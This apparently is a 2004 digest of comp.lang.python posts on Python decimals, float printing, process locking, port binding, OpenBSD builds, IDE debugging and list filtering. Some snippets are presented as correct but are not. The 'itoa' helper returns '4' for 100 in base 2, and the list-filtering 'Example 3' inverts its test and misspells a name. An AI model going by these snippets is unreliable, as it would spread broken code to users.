<cil8kl$md2$0$216.39.172.122@theriver.com> On Sun, 19 Sep 2004 14:41:53 +0200, Peter Otten <__peter__ at web.de> wrote: >Paul Rubin wrote: > >> Peter Otten <__peter__ at web.de> writes: >>> Starting with Python 2.4 there will be the 'decimal' module supporting >>> "arithmetic the way you know it": >>> >>> >>> from decimal import * >>> >>> Decimal("12.10") + Decimal("8.30") >> >> I haven't tried 2.4 yet. After > >The auther is currently working on an installer, but just dropping it into >2.3's site-packages should work, too. > >> a = Decimal("1") / Decimal("3") >> b = a * Decimal("3") >> print b >> >> What happens? Is that arithmetic as the way I know it? > >Decimal as opposed to rational: > >>>> from decimal import * >>>> Decimal(1)/Decimal(3) >Decimal("0.3333333333333333333333333333") >>>> 3*_ >Decimal("0.9999999999999999999999999999") > >Many people can cope with the inaccuracy induced by base 10 representations >and are taken by surprise by base 2 errors. >But you are right I left too much room for interpretation. > I hacked a little rational + decimal exponent representation based toy a while back. The original post had a bug, which someone pointed out and I posted a followup fix for, but the revised version was not posted. But I can if someone is interested. >>> from ut.exactdec import ED >>> ED(1)/ED(3) ED('1 / 3') >>> 3*_ ED('1') If you give it a float, it wants to know how many decimals you mean: >>> ED(1./3) Traceback (most recent call last): File "<stdin>", line 1, in ? File "c:\pywk\ut\exactdec.py", line 93, in __init__ raise ValueError( ValueError: Specify decimals for least significant digit of 10**(-decimals) (decimals may also be specified as 'all' to capture all bits of float) >>> ED(1./3, 'all') ED('0.333333333333333314829616256247390992939472198486328125') If you give it a string literal, it takes it as accurate, but you can round it to create a new accurate number: >>> ED('1/3', 54) ED('0.333333333333333333333333333333333333333333333333333333') >>> ED('1/3', 60) ED('0.333333333333333333333333333333333333333333333333333333333333') That's an accurate number that has all zeroes to the right of those 60 3's >>> ED('1/3', 60)*3 ED('0.999999999999999999999999999999999999999999999999999999999999') If you don't round, you get a fully accurate result" >>> ED('1/3')*3 ED('1') It's interesting to look at pi: >>> import math >>> math.pi 3.1415926535897931 >>> ED(math.pi, 'all') ED('3.141592653589793115997963468544185161590576171875') >>> ED(3.1415926535897931, 'all') ED('3.141592653589793115997963468544185161590576171875') Same actual exact decimal value gets created from >>> >>> repr(math.pi) '3.1415926535897931' meaning they both have the same floating point hardware representation, but the short version decimal literal is sufficient to set all the bits right even though it doesn't represent the fully exact value in decimal. Economy courtesy of the Timbot I think ;-) I don't know what the rules in Decimal are for stage-wise rounding vs keeping accuracy, but I imagine you could get the same kind of surprises that are available in binary from floating point, e.g., >>> from ut.exactdec import ED Floating point: >>> acc = 1.0 >>> for i in xrange(100): acc += 1e-300 ... >>> acc 1.0 That really is exactly 1.0 >>> ED(acc,'all') Now the calculation accurately: ED('1') >>> ecc = ED(1) >>> for i in xrange(100): ecc += ED('1e-300') ... >>> ecc ED('1.000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0000000000000001') >>> ecc-1 ED('1.0e-298') If you add a small Decimal delta repeatedly, will it get rounded away like the floating point version, or will accuracy get promoted, or what? Sorry, I haven't read the docs yet ;-/ Regards, Bengt Richter From bgabriel at cloudthunder.com Wed Sep 29 14:45:37 2004 From: bgabriel at cloudthunder.com (Bishara Gabriel) Date: Wed, 29 Sep 2004 14:45:37 -0400 Subject: Social Analysis and Modeling for Python In-Reply-To: <10AC3CB6-1236-11D9-876C-0003939C968C@unito.it> References: <415AD6A4.7000400@cloudthunder.com> <10AC3CB6-1236-11D9-876C-0003939C968C@unito.it> Message-ID: <415B02D1.2070108@cloudthunder.com> Latest Revision of Social Analysis and Modeling in Python: http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf From see at below.invalid Tue Sep 28 04:55:19 2004 From: see at below.invalid (Paul Foley) Date: Tue, 28 Sep 2004 20:55:19 +1200 Subject: floating point glitch References: <415295E6.9040602@ericsson.com> <l5ncl0horoifsmbadp6pu3sgje8ca2srf3@4ax.com> <cj5v5i$7vk$1@pegasus.csx.cam.ac.uk> <7xhdple624.fsf@ruckus.brouhaha.com> <kj0il0ddfqg7tebggk6qbnm6cvp5jumt87@4ax.com> Message-ID: <m2lleusrgo.fsf@mycroft.actrix.gen.nz> On Mon, 27 Sep 2004 23:21:12 -0700, Tim Roberts wrote: > Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote: >> Michael Hoffman <m.h.3.9.1.without.dots.at.cam.ac.uk at example.com> writes: >>> Actually, print essentialy uses str() to get the string >>> representation. But repr(list) or str(list) still gets the repr() of >>> each item of the list rather than the str(): >> >> >>> print .66 >> 0.66 >> >>> print [.66] >> [0.66000000000000003] >> >> Yucch! Also, str is not invertible: > Right! That's the point. str() is the perfect solution in those cases > where you want the language to lie to you. In many cases, that IS what you > want. repr() is the perfect solution when you need an invertible function. The "perfect solution" is either: (a) to print the minimal number of digits that can maintain print/read consistency -- in this case, that means printing "0.66", or (b) to print the actual, exact, decimal representation of the value -- in this case, that means printing "0.66000000000000003108624468950438313186168670654296875" And I think (a) is more perfect than (b) :-) -- Malum est consilium quod mutari non potest -- Publilius Syrus (setq reply-to (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>")) From ialbert at mailblocks.com Thu Sep 2 09:41:09 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Thu, 02 Sep 2004 09:41:09 -0400 Subject: design question In-Reply-To: <mailman.2764.1094128858.5135.python-list@python.org> References: <mailman.2760.1094120772.5135.python-list@python.org> <E%DZc.26366$Z14.8555@news.indigo.ie> <mailman.2764.1094128858.5135.python-list@python.org> Message-ID: <-KmdnUyLSrZrv6rcRVn-uQ@giganews.com> Ajay wrote: > so thats what i need to do. i read the policy and preferences as DOM > hierarchies and then starting from rule1 in the preference, Do you really need a DOM representation for this? It seems to me that you are sequentially reading the XML file to extract the rules from it. Try element-tree for a simple and fast, pure-python XML representation. http://effbot.org/zone/element-index.htm Istvan. From jerf at jerf.org Wed Sep 8 03:35:05 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Wed, 08 Sep 2004 07:35:05 GMT Subject: Using Python to generate code? References: <ed89f8f2.0409072251.2152c22b@posting.google.com> Message-ID: <pan.2004.09.08.03.35.16.733137@jerf.org> On Tue, 07 Sep 2004 23:51:38 -0700, Tran Tuan Anh wrote: > printf(out, "for (%s = 1, %s < %s, %s < %s )", varName, varName, > varName1, varname, varName2); > > It is just too messy if I have more than 20 lines like this. It looks like you want a templater. I don't know what such programs exist for C++, if any, or how good they are. You may get a lot of milage out of just adding some utility functions, to turn that to something like forFromOne(out, var, max, min); Changing languages is pretty drastic if you have working, trusted code. (If those words don't describe your code, then that assessment may change.) > So my question is: > 1. Can Python help to solve this issue? Maybe a little, but if the above code snippet is representative, the Python equivalent of that isn't much shorter. Python would start to shine if you want to start doing smarter things with the data, but without knowing about the data it is hard to be specific. Basically, the moment you aren't just assembling strings, Python will *quite likely* have an advantage. (I find it very likely that a Pythonic outlook on the problem would allow significant simplification at acceptable effort levels, but I can't *promise* that; if all you really, honestly need is printf, which I think would be rare but certainly conceivable, then you may get no advantage.) > 2. Does Python has a parser? It seems to me that there is no-standard > Parser for Python right now. If it is the case, can I interface Python > with existing cup and lex? Why are you asking about a parser when you are talking about *outputting* code? Is there something left out of the problem description? There are a lot of parsers for Python, covering a wide range of needs. From zanesdad at bellsouth.net Thu Sep 30 08:32:55 2004 From: zanesdad at bellsouth.net (Jeremy Jones) Date: Thu, 30 Sep 2004 08:32:55 -0400 Subject: multiple instance on Unix In-Reply-To: <D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com> References: <52324E76-123E-11D9-B04E-0003938543A0@orthogonsystems.com> <415AF802.1080909@bellsouth.net> <D3967BB1-125F-11D9-B04E-0003938543A0@orthogonsystems.com> Message-ID: <415BFCF7.3090203@bellsouth.net> Nigel King wrote: > Jeremy, > I have not explained very well what I wanted. > > I had a program that was called randomly by specific emails arriving > which asked for certain information. If two or more emails arrived > simultaneously then procmail asked two or more instances of my program > to run. These instances interfered with one another, so I needed a > process to stop that from happening. What my son devised was for the > first to create a directory and run and when finished to delete the > directory. The subsequent instances could try to create a directory > but fail in an atomic piece of code. They would sleep for 1 or more > seconds and then try again. The first of the subsequent instances that > tries and succeeds stops the others from succeeding. > > Now, this works but I wondered whether anybody knew of a more standard > bit of python code was available for ensuring that only one instance > was processing. mutex does it for threads but not for instances as I > understand it. > > The specification for a better process would include the ability to > ensure that the queue was orderly, in other words some sort of FIFO > would ensure that first served would have been the first to request > the lock and fail. > > Our solution which does not satisfy the previous paragraph. > > import os, time > try: > # This program is not thread safe so we must protect it from being > # trampled over by another copy > # pause if another email is being processed for half an hour maximum > t = time.time()+1800 > locked = True > while locked and time.time() < t: > try: > os.mkdir('instancelck') > locked = False > pass > except : > time.sleep(1) > pass > pass > # do everything else > ....... > finally : > os.rmdir('instancelck') > # Removes the thread locking device so that another copy may run > pass > > The timer was in case for any reason finally did not run successfully > ever. > > Facundo's solution I have not yet studied. > > Thanks > > Nigel > > Nigel, So, basically you have a working solution. Couple of things, though. You may want to modify your finally: os.rmdir() to finally: if not Locked: os.rmdir() otherwise, if one of them times out, it's going to delete that directory. Also, you probably want to tighten that except statement down to "except OSError" so that you are handling the only exception that should be raised right in that block of code. If something goes batty and raises another type of exception, you probably want to fall into your filly condition, log it (are you logging with this application?), then let finally raise the exception up. This last one is just a matter of preference, but you could remove most of those "pass" statements. They're not hurting anything, but it's just a little cluttered. OK - not I know that you weren't looking for comments on your code, but you got it for free, right? ;-) Anyway, to your question. Is there a better way of doing this than the way you are doing it? Probably, but I don't know for sure what a good answer is. Frankly, this approach both scares the pants off of me and gives me an upset stomach. I'm guessing you must be feeling at least a little of that sentiment or you wouldn't be asking if there's another way to do this. I've just seen this type of thing abused and lead to all kinds of weird and undiagnosable problems. When you're using the filesystem as either a locking mechanism or as a source of state information, that just smells like the wrong solution to me, but I'm probably biased against it from experience. So, what are the alternatives. This may be way over kill, but maybe you could have procmail kick off a web-services-ish script and talk to a centralized server process (either XMLRPC or SOAP or something like that). Then you could put the locking in the server process and not have to deal with it from the procmail-spawned scripts. And, actually, if you used something like SimpleXMLRPCServer, you wouldn't have to do a thing. The first request would be handled and processed, while the second and subsequent requests would block until the first (or next in the case of subsequent requests) request finished. But, how do you make sure you've only got one XMLRPCServer running? ;-) Another option is a recipe that is on the ASPN Python Cookbook site for this type of thing: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/252495 But at a glance it looked like more of the same of what you've already done. Another alternative is to use the builtin procmail locking as others have suggested. I googled on it and the most frequent recurring word pattern was "procmail lock failure", so I'd be a little afraid of that. But it'd be worth looking into nonetheless. I don't know if in *NIX OSes if you can somehow register an instance of a process and make any subsequent registration block execution until the running one terminates. That would be ideal. Anyway, these are my thoughts. Jeremy Jones From bradtilley at usa.net Mon Sep 13 20:20:35 2004 From: bradtilley at usa.net (Brad Tilley) Date: Mon, 13 Sep 2004 20:20:35 -0400 Subject: check for unused ports and then grab one In-Reply-To: <mailman.3282.1095120331.5135.python-list@python.org> References: <ci502a$e77$1@solaris.cc.vt.edu> <mailman.3268.1095108346.5135.python-list@python.org> <9vhh12-suo.ln1@lairds.us> <41462666.9060606@usa.net> <mailman.3282.1095120331.5135.python-list@python.org> Message-ID: <41463953.1080601@usa.net> Erik Heneryd wrote: > Brad Tilley wrote: > >> Cameron Laird wrote: >> >>> Incorrect, if I understand you both; *UNIX Network Programming* >>> has said for years that >>> The process can let the system automatically assign a port. For >>> both the Internet domain and the XNS >>> domain, specifying a port number of 0 before calling >>> bind() requests the system to do this. >>> While I've never tracked down an RFC that specifies this, it surely >>> exists. > > > Ah. Nothing you use very often. Closest I've come is opening a > (random) port in some interval. > >> This works... even on winXP... thank you! > > > Not very surprising considering that it's network code is based on BSD. > > > Erik Yeah, if it wasn't for the BSD license, Microsoft and Apple would have been forced to write more code than they have... there really is a merciful God ;) From aurora00 at gmail.com Thu Sep 16 15:56:39 2004 From: aurora00 at gmail.com (aurora) Date: Thu, 16 Sep 2004 12:56:39 -0700 Subject: too many self In-Reply-To: <4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca> References: <opsedyrils6yt6e7@news.cisco.com> <ciabc0$seb$00$2@news.t-online.com> <opsed4rmyp6yt6e7@news.cisco.com> <4Kudnc-ZFdxUV9XcRVn-iA@powergate.ca> Message-ID: <10kjrvs2hmb19a5@corp.supernews.com> Peter Hansen wrote: > aurora wrote: > >> On Wed, 15 Sep 2004 23:14:47 +0200, Diez B. Roggisch >> >>> class ThreadPrinter: >>> def __init__(self): >>> _.fhs = {} >>> >>> def write(self, value): >>> f = _.fhs.get(threading.currentThread(), > > .... > >> Thanks this is a nice idea. I hope Python would actually support the >> '_' syntax. The self really reduce readablity, especially if you have >> several of them in one line. > > > It does! One just has to be consistent within each function. > Diez changed the code from something like this: > > def __init__(_): > _.fhs = {} > > def write(_, value): > f = _.fhs.get(threading.currentThread(), > ... > > Some would argue that this is actually less readable, however, > since it uses punctuation instead of a word. If nothing else, > you run into a bit of a conflict between your own technique, > with "_", and the vast majority of the rest of the Python world, > which uses "self" exclusively, leading to situations like this > one... > > (I think if I had a routine that really heavily used self, > to the obvious detriment of readability, and it wasn't clear > how else to improve it, I would use a local assignment at > the top to make a shorter name, perhaps "s", or even "_" -- > but I wouldn't use the possibility of such a thing as a > justification for using _ everywhere.) > > -Peter Didn't aware that _ itself is a valid identifier! True, you don't really want to do things differently from convention. I'm just ranting about the verbosity of self. This doesn't take a complicated statement to make it really clumsy. Some simple statement would look like this: if self.max < self.list[self.index]: self.max = self.list[self.index]: Replacing self with _, depends on one's aesthetic, it could be ugly or it could be cleaner. I like it that it is not a word and it does not interfere with the keywords that's really relevant. if _.max < _.list[_.index]: _.max = _.list[_.index]: Of couse I think this syntax the best: if max < list[index]: max = list[index]: This remind me of those awful Hungarian notation. aurora From gen2n at seznam.cz Fri Sep 17 02:07:34 2004 From: gen2n at seznam.cz (p.kosina) Date: Fri, 17 Sep 2004 08:07:34 +0200 Subject: glade - SOLVED In-Reply-To: <41499007$1@sia.uibk.ac.at> References: <ci3jd7$5e8$1@news.vol.cz> <414579e1$1@sia.uibk.ac.at> <41457a1b$1@sia.uibk.ac.at> <ci6icc$1sir$1@news.vol.cz> <41475653@sia.uibk.ac.at> <cib7tr$1hgf$1@news.vol.cz> <41499007$1@sia.uibk.ac.at> Message-ID: <cidv0p$2q9$1@news.vol.cz> I execute first three steps + copy libglade-2.0.0.dll to GTK/2.0/bin and everything works now fine. Thank you Pavel Poissonnier Julien napsal(a): > It could be a problem with DLLs from a previous GTK version: > http://mec-symonds.eng.monash.edu.au/cgi-bin/twiki/view/Saqqara/Gtk4Win32 > From claird at lairds.us Mon Sep 13 18:08:10 2004 From: claird at lairds.us (Cameron Laird) Date: Mon, 13 Sep 2004 22:08:10 GMT Subject: check for unused ports and then grab one References: <ci502a$e77$1@solaris.cc.vt.edu> <mailman.3268.1095108346.5135.python-list@python.org> Message-ID: <9vhh12-suo.ln1@lairds.us> In article <mailman.3268.1095108346.5135.python-list at python.org>, Erik Heneryd <erik at heneryd.com> wrote: >Brad Tilley wrote: >> Instead of me arbitrarily assigning a high port number to a variable, is >> it possible to check for ports that are unused and then randomly assign >> one of them to a variable? > >No. Trial and error until you find one. . . . Incorrect, if I understand you both; *UNIX Network Programming* has said for years that The process can let the system automatically assign a port. For both the Internet domain and the XNS domain, specifying a port number of 0 before calling bind() requests the system to do this. While I've never tracked down an RFC that specifies this, it surely exists. From danperl at rogers.com Tue Sep 28 02:11:38 2004 From: danperl at rogers.com (Dan Perl) Date: Tue, 28 Sep 2004 02:11:38 -0400 Subject: False exceptions?" (was Re: theme of the week: tools References: <mailman.3990.1096338692.5135.python-list@python.org> Message-ID: <IvKdnTbsYc4DncTcRVn-jA@rogers.com> Stephan, Look at it from my point of view. First script I debug with Wing IDE I get one of those false positives. I am debugging a script and debugging includes looking for exceptions and this debugging tool tells me to ignore exceptions. It's annoying and I'm trying to figure it out and I see an explanation that's sounds like "this is not really a problem and it is happening because Wing IDE is so great". What would you be thinking? I do believe now that from a technical point of view you made the right decision. That's because you are giving users both choices (there is actually also a third choice, "Always Stop"). I figured out only after trying Wing that it was possible to run also in a mode where the debugger does not stop at the point where the exception is raised. So you are giving both modes, one that is very powerful (even if it has the "false positives") and one that is good enough in most cases, IMO, and does not have the "false positives". That's all fair. However, I still think that the "official" explanation for the "false positives" is pathetic. I didn't see it in only one place, it's all over. It was the explanation I first got in the IDE when I encountered the "false positive" and I found it throughout the documentation and in support replies to users (it's amazing what one can find). Basically, the explanation is "it's not a bug, it's a feature". And "just ignore". And it will happen only 1-2 times, or 3-4 times... Here's how I would have explained it. "This exception may be a false positive. We are sorry about that, but here is why we are doing it this way, and we are also giving you the option to run it the other way." Your posting was actually in line with this. You even used that valuable "sorry" word. Thank you. Obviously, I was more sensitive to it than other people. Why? I don't know. Maybe it just caught me at a bad time, but I still think it's wrong. BTW, the "useful exception related feature" makes me think of Bush's "weapons of mass destruction-related program activities". That's how low I think of it. (I know you're not responsible for that, Stephan, you didn't have to apologize for it.) As for my choice? I will stick with Komodo. Not only because I already paid for it, but I think it does fit my needs better. I am using it for personal use, on a one-person project of my own. Something like Wing's exception detection or other power tools are not really useful for me. I just started using wxPython and maybe as I get deeper into that I will be proven wrong, but exceptions are normally not even a big issue for me. My debugging is usually only for correctness of results, so breakpoints and stepping through is all I need. For the rare exception that I can't figure out from the traceback, I can always just put a breakpoint and run again. I like the UI of Komodo more (sorry, Stephan, but Wing's Project view sucks, I hope you didn't work on that too). I even prefer the code completion the way it's done in Komodo, but maybe that's because I got used to it. And once again, a class browser is important to me. Wing's drop-down selections for classes and methods don't make up for it, they don't give that graphical view of a class's structure. In a nutshell, I used Komodo for a month and I was absolutely satisfied with it; I still thought I should make an informed decision so I tried also Wing, but after 2 days I had only disappointments. Dan "Stephan Deibel" <sdeibel at wingware.com> wrote in message news:mailman.3990.1096338692.5135.python-list at python.org... > Hi, > > I'm the dope that co-wrote this thing, so here's the technical background: > > The "false exceptions" thing is a technical limitation of detecting > whether or not an exception is going to lead to program termination at the > moment it is raised, rather than later when exiting the program. We go up > the stack to inspect Python byte code, and since we can't see into C/C++ > object code we sometimes get it wrong. We call it a "false positive" > because it's the same as a blood test telling you you've got something > that you don't. > > Believe it or not, we were not just being dumb: We weighed having a > necessarily imperfect but useful feature with not having the feature at > all. Same as having an imperfect blood test rather than not at all. In > fact, from feedback, it seems most people agree that ignoring a few > exceptions during the first debug run is worth always being able to > inspect the unaltered program state seen immediately at the moment the > exception is raised (before, e.g., 'finally' clauses are executed). > That's why it's on by default, but can be turned off in prefs. > > Maybe we got that wrong, but I dunno... the people we hear from may not > represent the overall experience. > > Dan Perl wrote: >> No, this is NOT a "useful exception related feature", it's a workaround >> for a bug. > > I think I'd have to agree that the paragraph you cited muddles up the > utility of ignoring exceptions with under-explaining the false positives. > The feature is not just there as a workaround but it's probably fair to > say that's 99% of what it's used for. Sorry about that. > > BTW, the 10 day trial can be renewed automatically. Then if you run out, > just ask for more time. No problem. Deciding the duration of trials is a > nasty business decision that's not easy to make. I can't really make > excuses -- it's just how it is right now. > > Stephan Deibel > > -- > Wingware > Wing IDE for Python > Advancing Software Development > > www.wingware.com From russblau at hotmail.com Mon Sep 20 12:53:09 2004 From: russblau at hotmail.com (Russell Blau) Date: Mon, 20 Sep 2004 12:53:09 -0400 Subject: some basic questions... References: <cimv3o$a51$1@newsg2.svr.pol.co.uk> Message-ID: <2r8g8mF16tfdqU1@uni-berlin.de> "Player" <guess at My.email.address.scum.com> wrote in message news:cimv3o$a51$1 at newsg2.svr.pol.co.uk... > > [book quote] > When a file containing python code is executed, the built in variable _name_ > is populated with the name of the module being executed. If the value of > _name_ is _main_, then that file is the original file that was used to > invoke the application from command line or an icon. > This is usefull, as it allows code to know the difference between when it is > invoked & when it is imported by another python program. It is also provides > a convenient place to provide one-time startup code. > [end quote] Actually it is '__name__' and '__main__', with *two* _ characters both before and after. You need to be careful about the underscores when using built-in names like these, because typing them with just one _ will not work at all! As for how to use __name__ and the importing modules question, I suggest you read http://www.python.org/doc/current/tut/node8.html -- I don't actually read my hotmail account, but you can replace hotmail with excite if you really want to reach me. From steven.bethard at gmail.com Wed Sep 8 20:38:04 2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 9 Sep 2004 00:38:04 +0000 (UTC) Subject: itoa (WAS: Re: %a format) References: <mailman.2992.1094581774.5135.python-list@python.org> <usm9tx5n3.fsf@broadpark.no> <10jsqrm2rsqdc39@news.supernews.com> <ad052e5c.0409081611.361c5a01@posting.google.com> Message-ID: <loom.20040909T023510-231@post.gmane.org> > class Bits(int): > def __sprintf__(self, flags, precision, conversion): > if conversion == 'b': > # return a binary string > return itoa(self, 2) # Why isn't this a standard function? > else: > return NotImplemented Well, I'm guessing itoa isn't a standard function because it's not that commonly used... Not that I'm claiming to have written the widest variety of Python code, but I've never needed it. It is available though through a relatively short sequence of builtins though: >>> def itoa(i, base): ... return str(int(str(i), base)) ... >>> itoa(100, 2) '4' A little roundabout, but it does do the trick. Steve From martin at v.loewis.de Fri Sep 17 14:56:06 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Fri, 17 Sep 2004 20:56:06 +0200 Subject: How do I build Python 2.3.4 on OpenBSD 3.5? In-Reply-To: <c9d82136.0409170928.5e38aa97@posting.google.com> References: <c9d82136.0409151101.730f8865@posting.google.com> <41489418$0$26168$9b622d9e@news.freenet.de> <c9d82136.0409170928.5e38aa97@posting.google.com> Message-ID: <414b3343$0$32661$9b622d9e@news.freenet.de> Noah wrote: > Is it more correct to say that Python does not support OpenBSD? > It seems like the language should support the OS and not the other way around. People usuall think that way, yes. However, in this case, it is really the other way 'round. OpenBSD claims to implement certain specifications required by Python, but then actually doesn't. Python could accept systems that make no such claim, or systems that make the claim and then fully implement the specification (POSIX in this case). OpenBSD falls in the middle category of systems making false or confusing claims. > What limitations are there for Python on OpenBSD? What work-arounds does > Python have to take? It looks like it undefines _XOPEN_SOURCE. > Does this limit features on OpenBSD? No, it (wrongly) exposes them. OpenBSD "honors" _XOPEN_SOURCE, but incorrectly. If you define _XOPEN_SOURCE on OpenBSD (which one is entitled to do on any POSIX system), then some system headers fail to compile. It would be fine if the system headers offered less functionality in that case, or more - in no case they should stop to compile. Python requires that systems either totally ignore _XOPEN_SOURCE, or honor it by reacting accordingly. Failure to compile is not a proper reaction. Many systems currently have the similar flaws, since nobody dares defining _XOPEN_SOURCE. Since Python needs to define _XOPEN_SOURCE on some systems (most notably Tru64), and it is "the right thing" on any system claiming POSIX conformance, and should not hurt on all other systems, Python defines it always, and exempts a few specific systems which are known to be broken. Some vendors have acted since and fixed their systems, e.g. Sun with Solaris 7 and later. Others, like the OpenBSD maintainers, unfortunately fail to do so to date. > Should it be a bug that configure doesn't also do this for OpenBSD 3.5? > Although Python 2.3.4 came out before OpenBSD 3.5. Right. Furthermore, we do hope that some OpenBSD release will fix that bug. Then, we can gradually remove the work-arounds for older BSD releases when these systems come out of use. For that procedure, we need to check every OpenBSD release again whether it supports POSIX properly. I just recently added a change to Python 2.4 so it extends the work-around for 3.5, so Python 2.4 should build on OpenBSD 3.5 out of the box. Regards, Martin From eric_brunel at despammed.com Tue Sep 14 11:43:55 2004 From: eric_brunel at despammed.com (Eric Brunel) Date: Tue, 14 Sep 2004 17:43:55 +0200 Subject: [OT] Re: Ranting about the state of Python IDEs for Windows References: <864d3709040913131077f1732d@mail.gmail.com> <HLEGKHKIKMEHENBAEIEPAEEFCIAA.ben@benlast.com> <mailman.3307.1095171351.5135.python-list@python.org> Message-ID: <ci7352$ijm$1@news-reader1.wanadoo.fr> Carlos Ribeiro wrote: [snip] > p.s. I know that there is another solution for this problem... but > involves money (a lot of). Have a couple of big monitors (21', > anyone?), side by side, and open as many windows as you wish. Position > them where you want them to be, without overlapping. That's happiness > :-) You may not have to go as far as that: XDesk (http://www.xdesksoftware.com/xdesk.html) allows you to create several virtual desktops on the same screen on Windows, similar to the workspaces you can find in many X window managers like KDE or WindowMaker. It's a commercial product, but there's a free version; it has fewer functions, but is perfectly usable. HTH -- - Eric Brunel <eric (underscore) brunel (at) despammed (dot) com> - PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com From PeterAbel at gmx.net Wed Sep 8 14:05:18 2004 From: PeterAbel at gmx.net (Peter Abel) Date: 8 Sep 2004 11:05:18 -0700 Subject: Remove items from a list References: <ysv%c.32876$Dl4.14767@fe2.texas.rr.com> Message-ID: <21064255.0409081005.2dadcdb@posting.google.com> "Stan Cook" <scook at elp.rr.com> wrote in message news:<ysv%c.32876$Dl4.14767 at fe2.texas.rr.com>... > I was trying to take a list of files in a directory and remove all but > the ".dbf" files. I used the following to try to remove the items, but > they would not remove. Any help would be greatly appreciated. > > x = 0 > for each in dbases: > if each[-4:] <> ".dbf": > del each # also tried: del dbases[x] > x = x + 1 > > I must be doing something wrong, but it acts as though it is.... > > signed > . . . . . at the end of my rope....! > > When you iterate over a list with a for-loop as you do it, you get a copy of "each" item of the list. What you're doing is deleting this copy, which is bound to the variable *each*. If you want to delete an item of a list you have to code: del dbases[i] e.g Example 1: for i in range(len(dbases)): if dbases[i][-4:] <> ".dbf": del dbases[i] But now you'll get some trouble: Youre indexing dbases from 0 .. len(dbases), but len(dbases) will change everytime you delete an item. So the better way is to run over the list from the end. Example 2: for i in range(len(dbases)-1,-1,-1): if dbases[i][-4:] <> ".dbf": del dbasese[i] No you delete items of dbases, where the item indexed by i still exist. As others already pointed out it would be better to write your condition in a more general form: Example 3: for i in range(len(dbases)-1,-1,-1): if dbases[i].endswith(".dbf"): del dbasese[i] Or still better to generate a new list with listcomprehension Example 4: dbf_names=[name for name in dbases if name.endswith('.dbf')] or the filter-function Example 5: dbf_names=filter(lambda name:name.endswith('.dbf'),dbases) But I think the best way is to have in dbases only the filenames which end with '.dbf' from the beginning. You can get this with the glob-modul instead of os.listdir(): Example 6: import glob dbases=glob.glob('/any/path/or/directory/*.dbf') You'll get only filenames in dbases which end with '.dbf' or an empty list if there are none. Regards Peter From melis at uni-muenster.de Wed Sep 15 18:19:25 2004 From: melis at uni-muenster.de (Udo Melis) Date: Thu, 16 Sep 2004 00:19:25 +0200 Subject: localtime import not working Message-ID: <ciailp$a4m$1@sagnix.uni-muenster.de> udo:/usr/lib/cgi-bin# python Python 2.3.4 (#2, Jul 28 2004, 09:39:34) [GCC 3.3.4 (Debian 1:3.3.4-4)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> from time import localtime Traceback (most recent call last): File "<stdin>", line 1, in ? File "/usr/lib/cgi-bin/time.py", line 3, in ? NameError: name 'localtime' is not defined >>> What can i do? From harry.g.george at boeing.com Mon Sep 20 13:59:18 2004 From: harry.g.george at boeing.com (Harry George) Date: Mon, 20 Sep 2004 17:59:18 GMT Subject: Python as alternative to Visual Basic References: <cin0d0$ani$1@avnika.corp.mot.com> Message-ID: <xqxllf4q0sp.fsf@cola2.ca.boeing.com> Aaron Ginn <aaron.ginn at freescale.com> writes: > I'm investigating the feasibility of using Python instead of Visual > Basic for a commercial software package that I'm planning on > developing. Now I'm absolutely a Python zealot. I use it for most of > my software development at work where I work in a Solaris environment. > To me, Python is the perfect language for most applications in a UNIX > environment where a compiled language is not required. However, I'm > not so sure about Windows. > > The software package I'm developing will make calls to Excel and > Access and requires a very usable GUI for users who are not > particularly computer literate. My first question is: what is the > best choice for a GUI toolkit on Windows? I've used Tkinter for UNIX > to some degree of success, but I'm not sure this is the best choice > for Windows. Second, if I choose to make the application > cross-platform (Windows and Mac OS X in particular), what would be the > best choice for a cross-platform GUI toolkit? I was thinking of > looking at PyQt. Is there a better option? > > Basically, I'm trying to make a case for Python to the other > developers of this software package as I believe it offers numerous > advantages over VB in terms of speed of development, a quick learning > curve, and maintainability. Can anyone help me make that case? > > Thanks, > Aaron We do a lot of inhouse Win32 Python development. Most of the projects use PyQt via BlackAdder, with some in wxPython. Python has been solid for win32 com calls (that ordinarily would use VB). Sometimes we have to write a sample in VB to get the API understood, and then code it cleanly in Python (esp. true for macro capture mechanisms, where the COTS app generates VB.) Just in terms of time-to-market it should be a winner, even if at some point you have to port to some other language (more likely C# or Java than VB). We find an experienced programmer needs about 2 weeks to ramp up on python. Peer-level code reviews help in growing the team knowledge level. -- harry.g.george at boeing.com 6-6M21 BCA CompArch Design Engineering Phone: (425) 342-0007 From deetsNOSPAM at web.de Wed Sep 1 10:04:30 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Wed, 01 Sep 2004 16:04:30 +0200 Subject: twisted signal handler override or cleanup code Message-ID: <ch4kti$ug1$00$1@news.t-online.com> Hi, google doesn't give me anything on this, so I have to ask: I've got a xmlrpc-server running using twisted. Using the cookbook-recipe for daemonizing, it stores a file with its pid when in daemon mode. Now I want to remove that file when the server is shutdown - this boils down to the twisted reactors run()-method beeing terminated. Unfortunately, twisted sets its on signal handlers, so killing my app doesn't allow me to perform cleanup-code. I'm sure there are good reasons for that, and I'm actually not interested in signals especially - but there must be some way to install a sort of callback when the reactor gets down, for whatever reason. But as I said, no docs on that. -- Regards, Diez B. Roggisch From steveo at eircom.net Tue Sep 7 14:21:21 2004 From: steveo at eircom.net (Steve O'Hara-Smith) Date: Tue, 7 Sep 2004 19:21:21 +0100 Subject: Xah Lee's Unixism References: <slrncj1745.t5q.amajorel@atc5.vermine.org> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <opsdxecgt8pqzri1@mjolner.upc.no> 